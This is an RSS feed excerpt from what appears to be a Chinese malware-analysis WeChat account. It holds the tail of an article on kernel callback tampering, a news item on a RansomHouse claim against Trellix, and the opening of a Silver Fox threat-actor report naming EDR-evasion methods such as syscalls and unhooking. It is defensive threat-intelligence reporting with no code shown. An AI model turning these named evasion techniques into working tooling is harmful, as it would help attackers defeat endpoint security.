0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"></figcaption></figure><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">三、内核层对抗技术</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">内核层对抗直接在 Ring 0 层面操作，技术门槛更高但隐蔽性也更强，是高级 APT 组织和红队的核心对抗领域。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">3.1 内核回调篡改</span></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">3.1.1 回调篡改原理</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">正常流程:</span><span leaf=""><br/></span><span leaf="">┌──────────┐     ┌──────────────┐     ┌──────────────┐     ┌──────────┐</span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="347"></mp-pay-preview-filter></p></code></pre></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1c324780&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496713%26idx%3D1%26sn%3Dc24eb0ce95d171688ffd9abd1170cbef">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 17 May 2026 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Trellix(McAee &amp; FireEye)被勒索了？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496699&amp;idx=1&amp;sn=80781a9716b7c1642c7b554868be04cf</link>
      <description>RansomHouse勒索组织在其暗网公布了一个新的勒索攻击受害者，显示Trellix(McAee &amp;amp; FireEye)，并提供了一些服务器的截图信息。&#xA;&#xA;今年勒索病毒黑客组织攻击活动是真的多，时不时就有国内企业被勒索攻击，请大家注意防范。</description>
      <content:encoded><![CDATA[<p><span>安全分析与研究</span> <span>2026-05-09 19:01</span> <span style="display: inline-block;">广东</span></p>






  
  
  <p>RansomHouse勒索组织在其暗网公布了一个新的勒索攻击受害者，显示Trellix(McAee &amp; FireEye)，并提供了一些服务器的截图信息。</p><p>今年勒索病毒黑客组织攻击活动是真的多，时不时就有国内企业被勒索攻击，请大家注意防范。</p>
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7f8693c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FM5H82XuSHY6bO13o0aaw2F3kYvfjT55tlpjGtaCACJPHDiasTcRqfibFgNSSG96lKbxpygV7iaxE9snSqPlkS4w2uIApYN13s0GpyQZ6alknVc%2F0%3Fwx_fmt%3Dpng"/></p><p><img src="https://wechat2rss.xlab.app/img-proxy/?k=32f97cff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FM5H82XuSHY6iavIoIOZISunOYUNibwo6sRpRAuXOI7MFrEWFYN0pjpyZndbmAGzwpv1DgSeHcDKzDvLTbe8wyibLMLDznOWGrzHQtCqWwYln18%2F0%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ea94bd90&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496699%26idx%3D1%26sn%3D80781a9716b7c1642c7b554868be04cf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 19:01:00 +0800</pubDate>
    </item>
    <item>
      <title>银狐（Silver Fox）黑产组织详细分析报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496682&amp;idx=1&amp;sn=c87f1130dda484ed857c36d7045265d2</link>
      <description>银狐（Silver Fox）黑产组织详细分析报告</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-30 08:30</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b30e158d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY5T4Zs0oVZJ15af2z8ibA5TQhmpibPoOmtuGAD0IibRQoX183peYMIZ9TqG5zPxO04NhE5rDkWTaQzT9hSmEbbBVKjPlmnAiaoW8uU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>银狐（Silver Fox）黑产组织详细分析报告</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin: 0px;padding: 0px 10px;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: justify;" data-pm-slice="0 0 []"><p class="mp_profile_iframe_wrp" nodeleaf="" style="text-align: justify;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="安全分析与研究" data-alias="MalwareAnalysis" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/oibWJqH5OVmVcFgYKtoVnKR7h3pkl3AyxwS0l7iagicAJnYjEQhwIuZgR3RR65DLpJh2TGZS82DY7CjsBUmiaAl7BQ/0?wx_fmt=png" data-signature="专注于全球恶意软件的分析与研究，追踪全球黑客组织攻击活动与攻击技术" data-id="MzA4ODEyODA3MQ==" data-is_biz_ban="0" data-service_type="1" data-verify_status="1"></mp-common-profile></p><blockquote style="margin: 20px 0px;padding: 10px 10px 10px 20px;border-style: none none none solid;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0.05);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;"><p style="text-indent: 0em;padding: 8px 0px;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;margin: 0px;"><span leaf="">给大家整理了一份银狐黑产组织详细分析报告，供大家参考阅读</span></p></blockquote><hr style="margin: 10px 0px;padding: 0px;border-style: solid none none;border-width: 1px 3px 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 0px;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">目录</span></span></h2><ul style="list-style-type: disc;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">一、银狐黑产组织简介</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">二、银狐黑产组织攻击活动</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">三、银狐黑产组织攻击技术详解</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">四、银狐黑产组织盈利模式分析</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">五、银狐黑产组织发展趋势</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">六、MITRE ATT&amp;CK 技术映射</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">七、相关IOC数据</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">附录</span></p></li></ul><hr style="margin: 10px 0px;padding: 0px;border-style: solid none none;border-width: 1px 3px 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 0px;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、银狐黑产组织简介</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.1 组织背景</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">银狐（Silver Fox），又称银狐黑产组织、银狐木马团伙，是中国国内最为活跃、技术最为先进的黑色产业链组织之一。该组织以开发和运营&#34;银狐木马&#34;（Silver Fox Trojan）为核心，长期针对国内政企客户实施定向攻击，窃取敏感信息和资金。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">核心特征：</span></strong></p><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;text-align: justify;"><table style="display: table;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">维度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">描述</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">组织性质</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">黑灰产犯罪组织（非国家级APT），以经济利益为首要驱动力</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">命名来源</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">因早期木马样本中存在&#34;银狐&#34;（Silver Fox）相关PDB路径字符串或代码特征而得名</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">别称</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">银狐、Silver Fox、银狐木马团伙</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">首次披露</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2020-2021年间，微步在线、奇安信等多家安全厂商陆续披露</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">活跃时间</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">2020年至今持续活跃，攻击活动频繁度逐年递增</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">组织规模</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">推测为10-50人规模的黑产团伙</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">技术水平</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">高级（具备APT级免杀和EDR绕过能力）</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击范围</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">初始以中国境内为主，现攻击目标扩展到全球多个国家</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">活跃状态</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">持续活跃，技术持续迭代演进</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.2 组织人员架构与分工</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">银狐组织具有明确的内部分工体系，各职能角色协作紧密：</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: justify;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0205882352941176" data-s="300,640" data-type="png" data-w="1360" type="block" data-imgfileid="100013013" src="https://wechat2rss.xlab.app/img-proxy/?k=31ece984&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FM5H82XuSHY6V3Q6HP323MX2ZakwauKQZThRzL2Abd18B5yoXnw04Cg2JGjBIZJFWvDHxIJSQU6jThFh9V0ukiazPR3KVicEQjDhbnIQx8WQnM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: justify;font-weight: normal;margin: 5px 0px 0px;padding: 0px;"></figcaption></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">人员特征推测：</span></strong></p><ul style="list-style-type: disc;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">核心开发者具有</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">专业软件开发背景</span></strong><span leaf="">，熟悉Windows底层机制（PE结构、内存管理、系统调用）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">免杀工程师对</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">主流安全产品检测引擎</span></strong><span leaf="">有深入研究，持续跟踪安全厂商更新</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">社工组具备</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">行业知识</span></strong><span leaf="">（财税、政务等），能制作高度逼真的钓鱼素材</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">组织采用</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">松耦合、快迭代</span></strong><span leaf="">模式，各模块独立更新、快速替换</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.3 组织定位与能力评估</span></span></h3><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;text-align: justify;"><table style="display: table;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">评估维度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">等级</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p style="text-align: justify;"><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">代码开发能力</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★☆</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">具备自主木马开发能力，代码质量高，模块化设计</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">免杀对抗能力</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★★</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">APT级免杀体系，白加黑+Syscall+Unhooking组合拳</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: none left top / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">EDR绕过能力</span></strong></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p style="text-align: justify;"><span leaf="">★★★★★</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 